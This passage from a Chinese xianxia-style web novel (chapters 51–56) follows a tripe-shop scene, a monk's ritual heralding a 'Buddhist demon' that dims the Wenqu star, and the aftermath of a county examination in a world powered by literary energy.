“说得再直白些,这就是一件文道法宝!” 法宝? 卢璘若有所思地点了点头。 教谕继续开口解释: “后世抄本,读的只是文字。” “可观摩原稿,却能直接感悟作者落笔时那一瞬间的文道真意,触发‘文气共鸣’,其修行之效,远胜阅读抄本十倍不止!” “这还只是其一。” 主考官顿了顿,目光灼灼地看着卢璘。 “更重要的是,拥有原稿,便等同于拥有了对该学说的最终解释权!” “就如小友这篇‘修身齐家治国平天下’,日后天下人若对此道有任何争论,皆需以你的原稿为尊,以你为本源!” “这便是权柄!” “而且顶级原稿出世时,更能引动‘天降文曲’、‘地涌金莲’这等异象,反哺一方水土,永久性地提升一地文道底蕴!” 主考官长长地吐出一口气,看着卢璘,眼神复杂。 有羡慕,有惊叹,更多的是一种提醒。 “所以,卢小友。” “你这篇传天下之作的原稿,一定要好生保管。” “妙用无穷无尽,远超你的想象。” 第51章 卢记下水 与此同时,清河县,文庙街。 卢记下水铺子。 正午时分,店里早已人满为患,正是最忙碌的时候。 卢厚系着一条洗得发白的青布围裙,手里的活计一刻不停。 “老卢,一份杂碎,多加点汤。” “好嘞。” 卢厚应了一声,手脚麻利地从锅中捞出几样下水,快刀斩切,淋上一勺滚烫的鲜红辣油,再撒上一把翠绿的葱花。 卢记下水铺子之所以生意红火,靠的就是这地道的味道与公道的价格。 来这里的,大多是附近码头卖力气的汉子,一碗下水,两个炊饼,就能驱散一身的疲惫与寒气。 偶尔也有一两个衣着光鲜的客人,慕名而来尝个新鲜。 今天店里靠窗的角落里,就坐着一位穿着一身簇新的宝蓝色绸衫中年男子。 与周围穿着粗布短打的汉子们格格不入。 他慢条斯理地用筷子夹起一片卤得透亮的肺片,放入口中,细细咀嚼。 “嗯,味道倒是不错。”男子放下筷子,用餐巾擦了擦嘴角。 “没想到你们这些泥腿子吃的东西,也能做得这般可口。” 周围的汉子们闻言下意识地皱起了眉头,几道目光不善地投了过来。 宝蓝色绸衫男子视若无睹,轻笑一声:“就是不知道,这食材干不干净,不会吃出什么毛病吧?” 卢厚闻言,脸上依旧是那副憨厚的笑容。 他用抹布擦了擦手,指了指门口那口大锅与旁边码放得整整齐齐的食材。 “客官您放心,咱们这铺子,从食材到卤水,都是明档,干干净净,一眼就能瞧见。” 宝蓝色绸衫男子轻哼一声,撇了撇嘴,没有接话。 这时,店门上的棉布帘子被掀开,一前一后走进来两个人。 先进来的那个男人,头上戴着一顶压得很低的黑色毡帽,看不清面容。 后进来的,则是个怀里夹着一本书的落魄书生,头发乱糟糟的,衣衫上也沾着几块墨迹。 店里只剩下一张空桌,两人对视一眼,便默契地拼了桌。 开口的是落魄书生,把怀里夹着的书,往桌上一扔,眼睛直勾勾地盯着锅里的起伏的食材。 “多点心、肝、肺、小肠,不要肉...” “掌柜的,你可别敷衍我,我这张嘴利索着呢。” “把最拿手的手艺拿出来,味道好,有赏。” 书生一开口就是一副老饕的模样。 这时,对面的毡帽男子咳嗽了两声,操着沙哑的声音说了句: “我……也一样。” “好嘞!” 卢厚应了一声,转身又忙活起来。 码头上的汉子们吃得满头大汗,话匣子也跟着打开了。 “这鬼天气,雪也不知道要下到什么时候。” “再下下去,码头的活计都没法干了,一家老小都得喝西北风。” “可不是嘛,日子是越来越难过了。” 立刻有人附和起来,一时间,铺子里满是抱怨声。 聊着聊着,话题不知怎么就转到了今天的童试上。 一个相熟的老主顾,端着碗凑到卢厚跟前,咧着嘴开玩笑: “老卢,听说你家那小子,今天也下场了?” “等你儿子考上了秀才老爷,你这辛苦钱,可就赚到头喽。” 卢厚憨厚地笑着,没有接话,往对方碗里又添了两块猪头肉。 宝蓝色绸衫男子闻言,忍不住嗤笑一声。 “穿皂衫的也想考秀才?” “真是贻笑大方。” “这清河县里,薄有声名的学子,我哪个不认得?可没听说过有哪个姓卢的。” 这话一出,整个铺子都安静了下来。 卢厚剁肉的手,微微一顿,但没有开口和对方争辩。 开门做生意,和气生财。 更何况,他心里也没底。 大哥考了这么多年,依旧是个童生,科举这条路,哪里是那么好走的。 好在璘哥儿年纪还小,第一次下场,能积累经验就是好事。 卢厚没开口,一旁的落魄书生却放下了筷子,慢悠悠地开口道: “我大夏朝唯才是举,什么时候规定过,穿皂衫的就不能考中秀才了?” 落魄书生说着,转头打量着正在剁肉的卢厚。 他看得很仔细,不断地点着头。 “我看这位掌柜的面相,鼻直口方,眉浓眼正,本是敦厚有福之人。” “只是前半生运势平平,没什么波澜。” “不过嘛……” 书生拖长了音调,目光炯炯。 “你这福气,怕是都要应在你儿子身上了,将来必定大富大贵,光耀门楣!” 宝蓝色绸衫男子闻言冷哼一声。 他见书生衣着寒酸,心里便认定对方是那种考了几十年也考不上的穷酸。 “装神弄鬼!” 宝蓝色绸衫男子鄙夷地瞥了书生一眼,挺起胸膛,用下巴指着自己。 “你要真有这个能耐,不如给我看看,我这又是什么面相?” 落魄书生闻言,也不着恼,真的抬起眼,仔仔细细地打量了他一番。 “你家境殷实,祖上有荫,中年却有一道过不去的坎。” 书生一边看一边摇头,脸带笑意,语气也变得有些古怪。 “而且我看这坎,就在今天。” 男子脸上的笑容瞬间凝固,随即勃然大怒,一拍桌子站了起来。 “你这穷酸,胡说八道些什么!” “我看你是读书读傻了,满口喷粪!” 落魄书生闻言半点不恼,反而哈哈大笑起来。 “哈哈哈,也罢也罢!” “今日我心情好,便在此免费为诸位看相,分文不取,权当一乐!” 铺子里的其他客人你看我,我看你,却没人真的上前。 就在这时,与书生同桌的那个毡帽男人,缓缓抬起了头。 他那张脸上皱纹密布,纵横交错,在昏暗的店里显得有些可怖。 “那便……帮我看看。” 落魄书生的笑容,在看到那张脸的瞬间,倏然收敛。 他仔仔细细地打量着毡帽男人,眉头越皱越紧,最后竟是长长地叹了口气,摇了摇头。 “你……还有什么未了的心愿吗?” 奇怪。 此人面相,分明是阳寿将尽,三日内必有大祸。 可身上却偏偏没有半分将死之人的死气。 这等矛盾的面相,还是头一次见。 毡帽男人听到这话也没有半点生气,只是平静地点了点头,又将头上的帽子压得更低,重新低下头,闷声吃起了碗里的杂碎。 第52章 释魔降世 毡帽男人吃得很快,但却很安静。 不多时一碗杂碎见底,他将碗筷整齐地摆好,站起身,走到卢厚的摊位前,从怀里摸出一块碎银,轻轻放在了油腻的案板上。 “结账。” 卢厚憨厚地点了点头,伸手接过银子。 “稍等,找你钱。” 银子不大,约莫一钱重,远超一碗下水的价格。 可卢厚却有些诧异,这银子还挺少见的。 什么银子上面还铸了一片莲花瓣? 毡帽男人摇了摇头,意思是不用找钱。 转身掀开棉布帘子,走入了风雪之中。 不远处,落魄书生眼角的余光恰好瞥见了这枚银子。 和尚? 落魄书生眉头微皱。 大夏立朝,曾有过一轮声势浩大的灭佛。 前朝被奉为国教的佛门,一夜之间跌落尘埃,寺庙被毁,僧侣还俗,无数经文典籍付之一炬。 如今的佛门,早已不复当年盛况,在大夏境内,其地位甚至远不如那些山野间的鬼神精怪。 一个和尚,还是出现在这清河县的小馆子里。 有意思。 不过书生并没有对对方的身份有过多联想,有读书人在,和尚也翻不起风浪。 他看着窗外愈发沉重的大雪,摇了摇头。 钦天监那帮老不死的。 非说清河县这场连绵一月的大雪有异,让自己来查。 却又神神叨叨,语焉不详,连个确切的线索都不给。 天大地大,让自己上哪儿找去。 他长长地叹了口气。 不管了。 回去睡觉。 书生从怀里摸出几枚铜板,拍在桌上,也起身离去。 而毡帽男子这边,从卢记下水离开后,并没有在城里停留。 径直穿过街道,走向了清河县的西城门。 走出城门,城外是被大雪覆盖一片白。 毡帽男子顶着风雪,深一脚浅一脚地朝着东方走去。 他速度很快,远远的,一座山出现在视野里。 虫尾山。 清河县县志记载,此山形如蠕虫之尾,故而得名。 又因山上寸草不生,土石皆呈灰败之色,本地人更喜欢称其为“秃冢”。 在清河县百姓的口中,那是一处不祥之地。 甚至很多人都不知道,那座荒凉的秃山之上,还藏着一座早已废弃的古刹,慈枯寺。 毡帽男子从山脚走到寺庙。 寺庙早已破败不堪,山门倾颓,院墙坍塌。 唯有大殿前,一棵巨大的枯树,依旧顽强地矗立在风雪里。 树干虬结,表皮开裂,所有的枝桠都光秃秃的,如同伸向苍天的嶙峋鬼爪。 这是一株早已死去的菩提树。 毡帽男人没有踏入寺内半步。 而是走到那棵巨大的枯树下,拂去膝前的积雪,双膝直直地跪了下去。 姿态虔诚,仿若朝圣。 任由雪花一片片落在他的头顶。 这一跪,从白天跪倒了黑夜。 深夜,风雪没有丝毫停歇的迹象,反而越下越大。 毡帽男子身上早已被大雪盖得见不到人形。 就在这时,那棵早已枯死多年的菩提树,毫无征兆地,从开裂的树皮缝隙中,渗出了一丝微弱的金光。 紧接着,一滴滴黏稠如蜜的金色树液,从裂缝中缓缓渗出。 树液滴落在雪地上。 诡异的一幕出现了。 积雪并未融化,反而在接触到金色树液的瞬间,绽开了一朵又一朵繁复而妖异的曼陀罗花纹。 跪在地上的男人缓缓抬起头。 他那张被风雪冻得僵硬的脸上,露出一种近乎癫狂的狂热。 透过树干上一道越来越大的裂缝,他看见了里面不可思议的景象。 一枚半透明的琉璃佛胎,正静静地悬浮在树心之中。 佛胎内,蜷缩着一个婴孩的轮廓。 只是那小小的胸膛,没有半分起伏,死寂一片。 就在这时,一声清越的啼鸣,划破了风雪的呼啸。 一只通体雪白的孔雀,披着月华,从漆黑的夜空中俯冲而下。 它轻盈地落在菩提树前,姿态优雅高贵。 在它的喙中,衔着一本破旧泛黄的经书。 看到这一幕,男人脸上的狂热达到了顶点。 他仰起头,用一种混杂着哭腔与狂喜的嘶哑声音,冲着漫天风雪,嘶吼出声。 “枯木孕子,孔雀衔经,佛子降世!” ......... 与此同时 笼罩了清河县整整一月的漫天风雪,竟毫无征兆地变小了。 九天之上,本该璀璨亮眼的文曲星,在此刻竟诡异地暗淡了一瞬。 光华流转间,仿佛被一层无形的阴影遮蔽。 …… 清河县,悦来客栈。 天字号房内。 桌上杯盘狼藉,落魄书生正趴在桌上酣睡,嘴角还挂着口水。 可在这一刻,落魄书生却猛地惊醒,弹坐起来。 他没有做噩梦。 是一股源自神魂深处的寒意,让他浑身冰冷。 “文曲星有异?” 落魄书生快步走到床边,目光死死地看着天外。 同时,桌上的旧书也突然无风自动,疯狂翻页。 落魄书生见状脸色一变,一把抓过旧书。 定睛一看,原本空白的纸页上。 不知何时,竟已浮现出四个字。 四个用殷红如血的墨迹写成的,扭曲而狰狞的大字。 “释魔降世。” 落魄书生看到这四个大字,瞳孔骤然缩成了针芒。 一股寒意,从尾椎骨,瞬间窜上了天灵盖。 “原来如此……”书生喃喃自语。 脑海中瞬间闪过白天在铺子里的那一幕。 那个头戴毡帽,面相诡异的男人。 那枚铸着莲花瓣的银锭。 原来那场看似偶然的相遇,从一开始,就是一场精心策划的骗局。 那场连绵一月,不见停歇的大雪,根本不是什么天时异常。 而是佛门有妖孽出世,其污秽之气,引动了天地异变,甚至遮蔽了文曲星的光辉。 儒道根基,将因此动摇。 “好个秃驴!”落魄书生咬牙切齿。 落魄书生深吸一口气,暂时按压心里的怒火。 现在不是追悔的时候。 释魔刚刚出世,肯定走不远,找到释魔才是关键。 落魄书生体内才气全力激发,口中朗声念道: “一步青天万壑低,长风送我过虹霓。” 客栈的窗户,被一股无形的气浪轰然冲开,木屑四溅。 凛冽的寒风倒灌而入,吹得衣衫猎猎作响。 身形化作一道流光,从洞开的窗口激射而出,悬停在清河县的夜空之上。 “山河俯首称臣处,已踏浮云最上梯。”” 最后一句念罢,书生再不迟疑,径直朝着城外,暴掠而去。 第53章 漱玉台 另一边。 一炷香之前。 县学之外,考场门前。 魏长青负手而立,衣袂在寒风中微微拂动,目光直勾勾地看着高墙内的考场。 即便过去了许久,魏长青胸中的激荡尚未能平复。 文钟自鸣。 这等上百年都未曾出现过的文道异象,竟然让自己给遇上了。 这绝非寻常的达府之作能够引动。 最次,也该是镇国级别的宏文。 甚至……说不定能让文曲星的光华更增几分。 一念及此,魏长青也按捺不住心中的好奇。 双目微阖间,体内雄浑的才气悄然引动,尝试感知远在天外的文曲星。 他要亲眼看看,这篇惊世之作,是否真能为文道增辉。 可就在他即将感知到文曲星的前一刻。 一股毫无征兆的心悸,突然从心底传来。 同时才气感知到的文曲星,也在这一刻发生剧变。 本该光华璀璨,照耀万古的文曲星,竟在此刻,诡异地暗淡了一瞬。 魏长青脸色骤然大变。 紧接着,一股前所未有的虚弱感,自神魂深处涌来。 体内的才气,竟肉眼可见稀薄了许多。 魏长青睁开眼,满眼骇然,同时耳边传来阵阵惊呼声。 “怎么回事?” “我的才气……我的才气好像变少了!” “我也是!感觉像被凭空抽走了一缕!” ....... 周围的人群,毫无征兆的突然爆发出阵阵惊呼。 那些围在考院外的童生们,一个个脸色煞白,满眼惊恐。 他们文位不高,体内的才气本就只有寥寥数缕,稀薄得可怜。 此刻哪怕只是减少一丝一毫,都能在瞬间清晰地察觉到。 魏长青听着耳边的嘈杂,心中那股不祥的预感愈发浓烈。 就在这时,笼罩了清河县整整一月的漫天大雪,竟毫无征兆的,戛然而止。 天地间,陷入了一种诡异的死寂。 魏长青猛地抬起头,心中的不安愈发强烈。 文曲星暗淡,其影响之深远,远超想象。 这绝非仅仅是清河一地。 文曲蒙尘,天下读书人的才气,皆会因此受损。 这是动摇国本的大祸。 究竟发生了什么? 是什么样的滔天异变,竟能动摇文道根基,遮蔽文曲星辉。 突然,不远处的文庙街方向,传来巨大的破空声。 魏长青猛地转头,目光遥望,才气灌注双耳,五感瞬间被提升到极致。 一道清越激昂的长吟,清晰地传入他的耳中。 “一步青天万壑低,长风送我过虹霓。” 魏长青瞳孔骤然一缩。 《踏歌行》? 大学士才能掌握的飞行战诗。 对方是谁? 清河县内还有这种人物? 魏长青循声望去,只见一道流光自文庙街方向冲天而起,在半空中划过一道惊鸿,朝着城外疾驰而去。 有人在御空而行。 出事了。 肯定是有天大的事情发生了。 魏长青心中再无半分犹豫。 他身为临安府学政,治下读书人的一切事务,皆在他的管辖范围之内。 文曲星异动,又有大能之士深夜奔行。 这两件事,必然有所关联。 相较于考场内那篇尚未得见的惊世之作,眼下这桩异变,才是头等大事。 来不及再等考场内的结果,魏长青再不犹豫。 他身形一晃,瞬间消失在原地,化作一道青色长虹,朝着那道流光消失的方向,暴掠而去。 两道流光一前一后,风驰电掣。 下方清河县的轮廓飞速倒退。 城外,是一片被大雪覆盖的茫茫原野。 魏长青紧紧追着前方那道身影,一路追到了城外一座荒凉的孤山脚下。 山上寸草不生,土石灰败,在雪地里,像一具匍匐的巨大尸骸。 魏长青看过县志,知道这座山的名字。 虫尾山。 对方来这里做什么? 魏长青来不及思考,看着那道流光,径直没入了山中一座早已倾颓的破庙。 ......... 夜风如刀,刮过荒野。 终于,前方的流光骤然下坠,落在了破庙前的广场上。 魏长青紧随其后,身形一敛,安稳落地。 落地的瞬间,魏长青目光一扫,把眼前的环境尽收眼底。 山门早已倾颓,院墙坍塌,到处都是断壁残垣。 没想到,这虫尾山深处居然还有一座古刹。 可对方来这古刹做什么? 难不成文曲星异变和佛门有关? 魏长青满脑子疑惑,目光看向不远处的身影。 那人背对着他,身着一件洗得发白的落魄儒衫,头发乱糟糟的,怀中还夹着一本书。 魏长青眉头紧锁,正欲开口。 那人却发出了一声悠长的叹息。 “来晚了。” 魏长青听出了对方声音中的疲惫,顺着对方的视线望去。 下一刻,他浑身的血液仿佛都在瞬间凝固。 只见广场中央的雪地上,跪着一具早已僵硬的尸体。 那人身形干瘦,双手高高托举,做出一个虔诚的献祭姿态。 明明身体都已经冻成了冰雕,脸上却带着一种诡异而狂热的笑容。 最令人毛骨悚然的,是尸体周围的景象。 厚厚的积雪之上,竟绽放着一朵又一朵妖异的金色花纹。 那花纹繁复而诡异,形如曼陀罗,仿佛是从地狱深处盛开的死亡之花。 佛门妖人。 魏长青的脑海中,瞬间闪过这个念头。 这诡异的死状,这狂热的姿态,还有这不属于人间的妖花。 是这个引动了天象异变,遮蔽了文曲星的光辉? 自大夏立朝,声势浩大的灭佛之后,佛门早已沦为丧家之犬。 什么时候,他们又有了这等撼动文道根基的滔天之力。 这可是动摇国本的大祸。 就在魏长青心神剧震之时,落魄书生缓缓转过身来。 “江南道学政,魏长青?” 魏长青瞳孔一缩,他是谁?认识我? 强压下心中的骇然,魏长青点了点头。 “正是本官。” “阁下是何人?” 回答的同时,魏长青身上的才气已经默默运转,做好了随时出手的准备。 此人的速度与才气,远在自己之上。 自己已是翰林学位,能让他毫无还手之力地追赶,对方至少也是大学士以上的存在。 可朝中何时有了这样一位陌生的强者。 是敌是友,尚且不明。 但职责所在,他不能退。 落魄书生看出了魏长青的戒备,摇了摇头,口中淡淡地吐出了三个字。 “漱玉台。” 魏长青闻言下意识地后退一步,脸色骇然。 “大儒?” 漱玉台,这三个字,就是大儒的代表。 作为一个独立于大夏朝堂之外,神秘而强大的组织。 其成员不多,但每一个,都是读书人中经天纬地的存在。 大儒才有资格加入。 上一次听到这个名字,还是因为一桩震惊朝野的旧案。 漱玉台的一位成员,因大夏皇室黎家的一位驸马言行有失,辱没了读书人的风骨,竟当街将其格杀。 事后,整个大夏皇室震怒,却最终不了了之。 第54章 没有你这个不成器的师弟 漱玉台。 魏长青听到这三个字,默默运转的才气缓缓停了下来。 这一路的提心吊胆也慢慢放下。 原来是漱玉台的前辈。 这个组织行事向来亦正亦邪,不入朝堂,不理俗务,却始终以文道正统自居。 更像是独立于大夏官方势力之外的监督者,超然物外。 不过虽然怪异,但终究还是站在文道这一边。 不是敌人。 魏长青定了定神,不敢有丝毫怠慢,对着落魄书生的背影,恭恭敬敬地躬身一揖。 “晚生魏长青,见过先生。” “先生,方才晚生心神不宁,遥感天外,发觉文曲星似乎暗淡了一瞬。” “不知此事,可与眼前这桩异变有关?” 落魄书生闻言,缓缓转过身,乱糟糟的头发下,眉头一挑,眼睛里闪过一丝意外。 居然能感知到文曲星的异变。 这可不是寻常翰林能做到的。 想要以才气感应文曲星,至少也得是大学士的修为。 看来这位被圣上钦点,空降到江南道的年轻学政,并非传言中那般只是首辅宴居的门徒。 靠搭上宴居的关系才走到这一步的。 这个年纪,就已触碰到大学士的门槛,倒是个不错的苗子。 书生点了点头,算是回答了魏长青的问题。 “那群秃驴,又开始兴风作浪了。”只说了半句,书生摆了摆手。 “你先将此地景象,原原本本地记录下来。” “此事干系重大,必须即刻上报朝廷。” “是。” 魏长青不敢怠慢,立刻应声。 他从怀中取出一枚玉简,才气灌注其中。 “镜里看花光照眼。” 随着诗句念出,魏长青面前的空气竟开始扭曲,浮现出一面水波流转的光镜。 光镜之中,破败的古刹,跪地的干尸,雪地上的妖花,一切都纤毫毕现,被完整地拓印其中。 “月中寻桂影随身。” 最后一句诗落下,光镜发出一声轻微的嗡鸣,随即化作一道流光,没入魏长青的掌心。 摊开手,掌心之上,一枚晶莹剔透、散发着淡淡光华的玉简,静静躺着。 书生看着魏长青做完这一切,这才缓缓转过身,幽幽的目光穿透了夜色,口中吐出四个字。 “释魔降世。” 释魔? 怎么可能! 魏长青满眼骇然。 释魔是读书人对佛门的称呼。 前朝之时,佛门曾是大一统王朝的国教,是天下显学,地位等同于今日的儒道。 后来至圣先师横空出世,于稷下学宫舌战三千佛子,立下儒道万世之基。 再后来,大夏太祖黎氏顺天应人,推翻前朝腐朽统治,建立大夏。 立朝之后,展开了一场声势浩大的灭佛运动,焚寺庙,毁佛经。 至此,佛门势力一落千丈,早已沦为过街老鼠。 魏长青万万没有想到,早已被扫进历史尘埃里的佛门,竟然还能卷土重来。 甚至能引动天象,遮蔽文曲星辉,让天下读书人的才气都为之受损。 这是何等恐怖的力量。 这动摇的,是大夏的国本啊。 落魄书生看着魏长青煞白的脸色,长长地叹了口气。 “多事之秋啊。” “说到底,还是我辈读书人,一代不如一代了。” “否则,又岂会给这帮秃驴,卷土重来的可乘之机。” 魏长青闻言,下意识地便想开口反驳。 先生此言差矣! 读书人一代不如一代? 今日清河县童试,便有惊世文章出炉,引动文钟自鸣,地鸣之象,百年难遇。 那等为往圣继绝学的宏文,足以证明我辈读书人,并未沉沦。 可他的话还未说出口,抬起头时,眼前却早已空无一人。 夜风吹过,只剩下那具跪地的干尸,在雪地里无声狞笑。 魏长青愣在原地,随即对着空无一人的前方,再次深深一揖。 “恭送先生。” 他直起身,看了一眼那座破败的古刹,又望向清河县城的方向,眼神变得凝重。 出了这等大事,县学那边,是去不成了。 必须立刻返回临安府,将此事上报朝廷。 ........... 与此同时,柳府,静心堂。 沈夫子独自站在院中,抬头望向天外,眉头拧成了一个疙瘩。 文钟自鸣,本是天大的祥瑞。 可紧随其后的,却是一股源自神魂深处的悸动。 就在刚刚,他清晰地感觉到文曲星竟暗淡了一瞬。 一会文钟自鸣,一会文曲星暗淡。 究竟是何原因。 更让他心惊的是,自己体内的才气,竟凭空被削减了近一成。 “多事之秋啊!” 沈夫子悠悠地叹了口气。 恐怕受影响的,远不止自己一人,波及的范围,或许比想象中更大。 可自己如今处江湖之远,有力未逮,这等烦心事,还是让食肉者去操心吧。 摇了摇头,沈夫子正准备转身回房。 一道悄无声息的身影,毫无征兆地出现在他身后。 察觉到动静的沈夫子脚步一顿,猛地转身。 待看清来人的样貌后,他整个人都愣住了。 来人一身洗得发白的落魄儒衫,头发乱糟糟的,怀里还夹着一本破旧的书。 紧接着向来喜怒不形于色的沈夫子罕见地表现出一副狂喜的模样。 “师兄!” “你怎么来了?是专程来看我的?”沈夫子的声音满是激动。 庭院里,须发皆白、年过古稀的沈夫子,对着一个看上去比自己小了几轮的落魄书生,恭敬地称呼着师兄。 这画面,一股说不出的违和感。 落魄书生见状冷哼一声,斜着眼打量着沈夫子。 “我可没有你这么不成器的师弟。” “连区区一个宴居都斗不过,被人家赶出京城,灰溜溜地跑到这当个教书先生。” “丢尽了我师门的脸。” “还专程来看你?你觉得你有这个脸吗?” 一连串的斥骂,毫不留情。 沈夫子被骂得狗血淋头,脸上却没有半点愠色,反而笑得更开心了。 他上前一步,亲热地拉住落魄书生的袖子。 “师兄远道而来,风尘仆仆,不管是不是来看我,师弟我心里都高兴。” “走走走,好酒好菜,师弟这就让人给你备下。” 听到好酒好菜四个字,落魄书生眼神越发不善,依旧板着脸。 “哼,把我当成什么人了?” “满脑子都是口腹之欲的俗物吗?” 说完,他又瞪了沈夫子一眼。 “还不快去准备!” “要是味道不行,仔细你的皮,看我怎么收拾你!” 沈夫子闻言心中乐开了花。 还是熟悉的配方,还是熟悉的味道。 嘴上说着不要,一听到有吃有喝,就立马走不动道了。 第55章 第一场结束 一日之后,考院沉重的大门,缓缓开启。 考场外原本静静等候的人群,突然热闹了起来。 “出来了!出来了!” “是我儿子,估计发挥得不错....” “我大哥也不差,红光满面的....” 议论声中,考生们陆续走出,神色各异。 有的昂首挺胸,面带红光,有的则垂头丧气,面色灰败,步履沉重。 人群中,立刻有家人迎了上去。 “儿啊,昨天我好像听到文钟响了,是不是考场里有……”一位父亲的话刚说到一半,声音却戛然而止。 脸上的好奇瞬间被一片茫然所取代,愣愣地看着自己的儿子。 “我……我刚想问什么来着?” “老了,老了,太健忘了。”父亲挠了挠头,尴尬地笑了笑。 “哦,对了,考得如何?” 相似的情景,在考院门前不断上演。 无数人心中都涌动着一股莫名的激动,心里盘旋着一个迫切想知道答案的问题。 可话到嘴边,却又化作一片空白,只剩下普通的问候。 人群角落,大伯也伸长了脖子,竖着耳朵。 周围的人议论纷纷,却都只是些寻常的考后闲谈。 “奇怪,这帮人怎么回事?”大伯心里犯着嘀咕,同时目光也在人群中不断搜索。 “璘哥儿怎么还不出来?” 等了许久,眼看着考生们都走得差不多了,大伯也忘了自己好奇什么。 摇了摇头,自己真是咸吃萝卜淡操心。 应该是来问璘哥儿考得怎么样来着。 不止是等候的人不对劲,先出来的考生们,也觉得浑身不对劲。 明明感觉自己情绪高涨,但就是不知道为何兴奋。 “我感觉这次发挥得前所未有的好,文思泉涌,案首有望啊!” “可我总觉得,好像忘了什么天大的好事,心里空落落的。” 就在这时,两个身影一前一后,从考院的大门内并肩走出。 正是卢璘与崔皓。 大伯眼睛一亮,连忙挤开人群迎了上去。 走进一看,只见卢璘脸色苍白如纸,眼下挂着浓重的黑青,整个人一副疲惫不堪的模样。 大伯一边摇头叹气,一边以一副过来人的口吻开口教育侄子。 “璘哥儿,这会知道大伯这些年的辛苦了吧。” 卢璘闻言,无力地翻了个白眼。 你那叫辛苦? 不过卢璘此刻懒得和大伯争辩,连开口的力气都没有。 他现在只想找张床,立刻躺下,睡他个三天三夜。 写出“修身齐家治国平天下”那篇文章,几乎耗尽了他所有的心神与才气。 大伯见状,继续念叨着:“没事儿,这题目我也看了,确实是难。” “尤其是你年纪还小,不懂什么是孝,什么是悌,写不出来也正常。” 一旁的崔皓忍不住摇头失笑。 考场内,听到县太爷提到卢璘出身柳家书童,原本崔皓是不信的。 什么样的贫寒之家,能教养出这样的卢璘。 这等连崔家,甚至连当世大儒都教导不出的麒麟儿,竟真的出自市井人家。 可看到卢璘大伯的言行举止,他才终于信了。 大伯一见到卢璘,被强行压下的记忆碎片,突然又翻涌了上来。 他猛地一拍脑门,满是好奇: “哎呀,瞧我这记性,人老了就是不中用!” “连这么大的事,都能忘了!” “璘哥儿,快跟大伯说说,你们考场里是不是有什么异象?是不是有个考生写出了……” 话说到一半,大伯的声音再次消失了。 只能看到嘴巴一开一合间不断耸动,却发不出半点声音。 卢璘有些疑惑。 大伯这是怎么了? 又在哪个小娘那学会了唱哑剧? 崔皓站在一旁,看着大伯方才差点说出“传天下”三个字,眼中闪过一丝意外。 按理说,所有无关之人的记忆都该被抹去才对。 先前的考生和等候的亲朋友都是很好的证明。 可为何大伯是例外? 崔皓心中微动。 难不成,是因为他与卢璘之间的血脉联系,让他对那股抹除记忆的力量,有了一丝微弱的抗性? 大伯比画了半天,最终颓然地垂下了手,连自己刚才想问什么都忘了。 重重地叹了口气,指着卢璘,又端起了长辈的架子。 “你啊,不要以为之前写了首诗,得了点虚名,就沾沾自喜。” “现在看到你和其他学子的差距了吧?这才第一天的考试,就累成这副熊样。” “想当年我……” 大伯见崔皓衣着普通,但年纪与卢璘相仿,只当是柳府派来陪考的家丁。 清了清嗓子,继续用那副倚老卖老的口吻,对着卢璘和崔皓两人谆谆教诲。 “你们啊,还是眼皮子太浅,眼光要放长远一些,不要局限于一隅。” “柳府在咱们清河县,算得上是有头有脸,可放眼整个大夏,比柳府强的英雄豪杰,如过江之鲫,数不胜数!” 大伯还在念叨个没完,听得卢璘脑瓜子生疼。 这时,其余来参考的柳府家丁们终于找到了卢璘。 四人从人群里挤了出来,快步跑到卢璘身边。 几人第一场考完便知自己无望,早早便交了卷。 “璘哥,你没事吧?” 家丁们看着卢璘那张毫无血色的脸,吓了一跳,连忙伸手接过卢璘身上的行李和手中的提篮。 卢璘点了点头,顺手把行李递了过去,连开口的力气都没有了。 一旁的崔皓见卢璘汇合了同伴,对卢璘郑重地拱了拱手。 “卢兄,三日后第二场见。” 说完,便转身离去。 县试共有三场。 第一场考的是四书五经,也是最重要的一场。 中间会空出两天,专供考官阅卷。 两天后的上午,考院门前会张贴出第一场的榜单。 只有榜上有名的考生,才有资格参加后面的第二场战诗词,以及第三场策论。 若是第一场便名落孙山,那这趟科举之路,便算走到头了。 卢璘看着崔皓离去的背影,轻轻点了点头。 随即,转向还在一旁喋喋不休的大伯,有气无力地拱了拱手。 “大伯,我先回府了。” 说完,也不等大伯回应,便在家丁的搀扶下,朝着柳府的马车走去。 回到柳府时,已是黄昏。 卢璘下了马车,只觉得眼前的景象都在天旋地转。 强撑着精神,对守在门口的管事交代了一句。 “去回禀老爷夫人,还有夫子。” “就说我有些乏了,先回房歇息。” 说完,卢璘便再也支撑不住,身子一软,几乎是被人架着回了自己的小院。 推开房门,卢璘甚至来不及脱下外衣,便一头栽倒在床上。 第56章 璘哥儿毕竟年龄还小。 管事把卢璘送到房外后,没有着急离去。 朝不远处挥了挥手,喊了个院中守着的小厮过来。 “你去清心园回禀老爷和夫人。” “就说……璘哥儿考完了,人有些乏,已经回房歇下了。” 管事特意嘱咐,话要说得轻巧,免得夫人过分担忧。 小厮躬身应诺,脚步匆匆地穿过抄手游廊,朝着清心园方向走去。 …… 清心园内,暖炉烧得正旺,驱散了满室的寒意。 老爷正捧着一卷书,看得入神。 夫人则坐在一旁,慢条斯理地修剪着一盆水仙,姿态优雅。 屋外风雪未歇,屋内却是一片静谧安详。 急促的脚步声由远及近。 夫人修剪花枝的手微微一顿,抬眼望向门口。 小厮在门外站定,恭敬地禀报。 “老爷,夫人,璘哥儿回来了。” “人有些乏,已经先回房歇息了。” 夫人闻言,手中的花剪还在耐心修剪着枝丫,没当回事。 等小厮汇报完离去后,夫人才停下手中的动作,目光担忧地看向老爷。 “老爷,璘哥儿下场会不会还是太早了。 “毕竟年龄还是太小了,身子骨都还没长开,跟着一群成年人去考场里熬着,怎么受得住。” 夫人越说越心疼,柳眉轻蹙。 “那考场里又冷又硬,一坐就是一整天,消耗太大了。” 老爷放下了手中的书卷,但没有开口说话。 对于璘哥儿的学问,老爷是很清楚,也很有底气的。 可科举考试,与做学问有时候还真不一样。 最大的区别就是承受的压力大小。 老爷摇了摇头,心里暗自叹气。 “哎,璘哥儿确实还是太小了,又没经过什么挫折,一路太顺了....” 看这疲惫不堪、回来就躲进房里的样子,恐怕……是发挥的不甚理想。 老爷没有多嘴,把这话放在了心里,免得夫人多操心。 不过,璘哥儿毕竟年纪还小,第一次下场,受些挫折,权当是积累经验了。 夫人却没想那么多,心里只惦念着卢璘的身体。 走到门口,对着外面的丫鬟吩咐一声,门外守着的丫鬟走了进来。 “去后厨传话。” “把那根老山参炖上,再备些清淡滋补的菜肴,用小火一直温着。” “再派个人在璘哥儿院门口守着,他连饭都没吃,等睡醒了,肯定饿得慌。” 